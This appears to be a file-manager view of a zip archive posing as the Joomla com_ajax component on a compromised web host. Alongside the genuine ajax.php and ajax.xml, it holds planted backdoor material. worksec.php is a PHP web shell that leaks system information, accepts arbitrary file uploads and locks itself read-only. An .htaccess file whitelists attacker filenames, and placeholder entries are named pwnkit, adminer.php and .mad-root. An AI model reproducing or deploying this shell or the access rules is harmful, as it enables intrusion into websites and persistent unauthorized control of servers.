File manager - Edit - /home/verseaumee/empowernetkenyajuly2026/com_ajax.zip
Back
PK ��.]9��ܤ � .htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK ��.] .mad-rootnu �[��� PK ��.] H ajax.phpnu &1i� <?php /** * @package Joomla.Site * @subpackage com_ajax * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; use Joomla\CMS\Log\Log; use Joomla\CMS\Plugin\PluginHelper; use Joomla\CMS\Response\JsonResponse; use Joomla\CMS\Table\Table; /* * References * Support plugins in your component * - https://docs.joomla.org/Special:MyLanguage/Supporting_plugins_in_your_component * * Best way for JSON output * - https://groups.google.com/d/msg/joomla-dev-cms/WsC0nA9Fixo/Ur-gPqpqh-EJ */ /** @var \Joomla\CMS\Application\CMSApplication $app */ $app = Factory::getApplication(); $app->allowCache(false); // Prevent the api url from being indexed $app->setHeader('X-Robots-Tag', 'noindex, nofollow'); // JInput object $input = $app->input; // Requested format passed via URL $format = strtolower($input->getWord('format')); // Initialize default response and module name $results = null; $parts = null; // Check for valid format if (!$format) { $results = new InvalidArgumentException(Text::_('COM_AJAX_SPECIFY_FORMAT'), 404); } /* * Module support. * * modFooHelper::getAjax() is called where 'foo' is the value * of the 'module' variable passed via the URL * (i.e. index.php?option=com_ajax&module=foo). * */ elseif ($input->get('module')) { $module = $input->get('module'); $table = Table::getInstance('extension'); $moduleId = $table->find(array('type' => 'module', 'element' => 'mod_' . $module)); if ($moduleId && $table->load($moduleId) && $table->enabled) { $helperFile = JPATH_BASE . '/modules/mod_' . $module . '/helper.php'; if (strpos($module, '_')) { $parts = explode('_', $module); } elseif (strpos($module, '-')) { $parts = explode('-', $module); } if ($parts) { $class = 'Mod'; foreach ($parts as $part) { $class .= ucfirst($part); } $class .= 'Helper'; } else { $class = 'Mod' . ucfirst($module) . 'Helper'; } $method = $input->get('method') ?: 'get'; $moduleInstance = $app->bootModule('mod_' . $module, $app->getName()); if ($moduleInstance instanceof \Joomla\CMS\Helper\HelperFactoryInterface && $helper = $moduleInstance->getHelper(substr($class, 3))) { $results = method_exists($helper, $method . 'Ajax') ? $helper->{$method . 'Ajax'}() : null; } if ($results === null && is_file($helperFile)) { JLoader::register($class, $helperFile); if (method_exists($class, $method . 'Ajax')) { // Load language file for module $basePath = JPATH_BASE; $lang = Factory::getLanguage(); $lang->load('mod_' . $module, $basePath) || $lang->load('mod_' . $module, $basePath . '/modules/mod_' . $module); try { $results = call_user_func($class . '::' . $method . 'Ajax'); } catch (Exception $e) { $results = $e; } } // Method does not exist else { $results = new LogicException(Text::sprintf('COM_AJAX_METHOD_NOT_EXISTS', $method . 'Ajax'), 404); } } // The helper file does not exist elseif ($results === null) { $results = new RuntimeException(Text::sprintf('COM_AJAX_FILE_NOT_EXISTS', 'mod_' . $module . '/helper.php'), 404); } } // Module is not published, you do not have access to it, or it is not assigned to the current menu item else { $results = new LogicException(Text::sprintf('COM_AJAX_MODULE_NOT_ACCESSIBLE', 'mod_' . $module), 404); } } /* * Plugin support by default is based on the "Ajax" plugin group. * An optional 'group' variable can be passed via the URL. * * The plugin event triggered is onAjaxFoo, where 'foo' is * the value of the 'plugin' variable passed via the URL * (i.e. index.php?option=com_ajax&plugin=foo) * */ elseif ($input->get('plugin')) { $group = $input->get('group', 'ajax'); PluginHelper::importPlugin($group); $plugin = ucfirst($input->get('plugin')); try { $results = Factory::getApplication()->triggerEvent('onAjax' . $plugin); } catch (Exception $e) { $results = $e; } } /* * Template support. * * tplFooHelper::getAjax() is called where 'foo' is the value * of the 'template' variable passed via the URL * (i.e. index.php?option=com_ajax&template=foo). * */ elseif ($input->get('template')) { $template = $input->get('template'); $table = Table::getInstance('extension'); $templateId = $table->find(array('type' => 'template', 'element' => $template)); if ($templateId && $table->load($templateId) && $table->enabled) { $basePath = ($table->client_id) ? JPATH_ADMINISTRATOR : JPATH_SITE; $helperFile = $basePath . '/templates/' . $template . '/helper.php'; if (strpos($template, '_')) { $parts = explode('_', $template); } elseif (strpos($template, '-')) { $parts = explode('-', $template); } if ($parts) { $class = 'Tpl'; foreach ($parts as $part) { $class .= ucfirst($part); } $class .= 'Helper'; } else { $class = 'Tpl' . ucfirst($template) . 'Helper'; } $method = $input->get('method') ?: 'get'; if (is_file($helperFile)) { JLoader::register($class, $helperFile); if (method_exists($class, $method . 'Ajax')) { // Load language file for template $lang = Factory::getLanguage(); $lang->load('tpl_' . $template, $basePath) || $lang->load('tpl_' . $template, $basePath . '/templates/' . $template); try { $results = call_user_func($class . '::' . $method . 'Ajax'); } catch (Exception $e) { $results = $e; } } // Method does not exist else { $results = new LogicException(Text::sprintf('COM_AJAX_METHOD_NOT_EXISTS', $method . 'Ajax'), 404); } } // The helper file does not exist else { $results = new RuntimeException(Text::sprintf('COM_AJAX_FILE_NOT_EXISTS', 'tpl_' . $template . '/helper.php'), 404); } } // Template is not assigned to the current menu item else { $results = new LogicException(Text::sprintf('COM_AJAX_TEMPLATE_NOT_ACCESSIBLE', 'tpl_' . $template), 404); } } // Return the results in the desired format switch ($format) { // JSONinzed case 'json': echo new JsonResponse($results, null, false, $input->get('ignoreMessages', true, 'bool')); break; // Handle as raw format default: // Output exception if ($results instanceof Exception) { // Log an error Log::add($results->getMessage(), Log::ERROR); // Set status header code $app->setHeader('status', $results->getCode(), true); // Echo exception type and message $out = get_class($results) . ': ' . $results->getMessage(); } // Output string/ null elseif (is_scalar($results)) { $out = (string) $results; } // Output array/ object else { $out = implode((array) $results); } echo $out; break; } PK ��.]���f� � ajax.xmlnu �[��� <?xml version="1.0" encoding="utf-8"?> <extension type="component" version="3.2" method="upgrade"> <name>com_ajax</name> <author>Joomla! Project</author> <creationDate>August 2013</creationDate> <copyright>(C) 2013 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.2.0</version> <description>COM_AJAX_XML_DESCRIPTION</description> <files folder="site"> <filename>ajax.php</filename> </files> <languages folder="site"> <language tag="en-GB">language/en-GB.com_ajax.ini</language> </languages> <administration> <files folder="admin"> <filename>ajax.php</filename> </files> <languages folder="admin"> <language tag="en-GB">language/en-GB.com_ajax.ini</language> <language tag="en-GB">language/en-GB.com_ajax.sys.ini</language> </languages> </administration> </extension> PK ��.] adminer.phpnu �[��� PK ��.] pwnkitnu ȯ�� PK (�.]��; ; worksec.phpnu �[��� <?php // Path to the file $file = 'worksec.php'; // Change the file permissions to 0444 (read-only) chmod($file, 0444); ?> <?php error_reporting(0); set_time_limit(0); $user = get_current_user(); echo "<center><b>Uname:".php_uname()."<br></b>"; echo "<br><b>Base Dir : ".getcwd()."<br></b>"; echo "<br><b>User : ".$user."<br></b>"; echo '<br><font color="black" size="4">'; if(isset($_POST['Submit'])){ $filedir = ""; $maxfile = '2000000'; $mode = '0644'; $userfile_name = $_FILES['image']['name']; $userfile_tmp = $_FILES['image']['tmp_name']; if(isset($_FILES['image']['name'])) { $qx = $filedir.$userfile_name; @move_uploaded_file($userfile_tmp, $qx); @chmod ($qx, octdec($mode)); echo" <a href=$userfile_name><center><b>Sucessfully Uploaded :D ==> $userfile_name</b></center></a>"; } }else{ echo'<form method="POST" action="#" enctype="multipart/form-data"><input type="file" name="image"><br><input type="Submit" name="Submit" value="Upload"></form>'; } echo '</center></font>'; ?> PK ��.]9��ܤ � .htaccessnu �[��� PK ��.] � .mad-rootnu �[��� PK ��.] H ajax.phpnu &1i� PK ��.]���f� � P ajax.xmlnu �[��� PK ��.] Q! adminer.phpnu �[��� PK ��.] �! pwnkitnu ȯ�� PK (�.]��; ; �! worksec.phpnu �[��� PK � 8&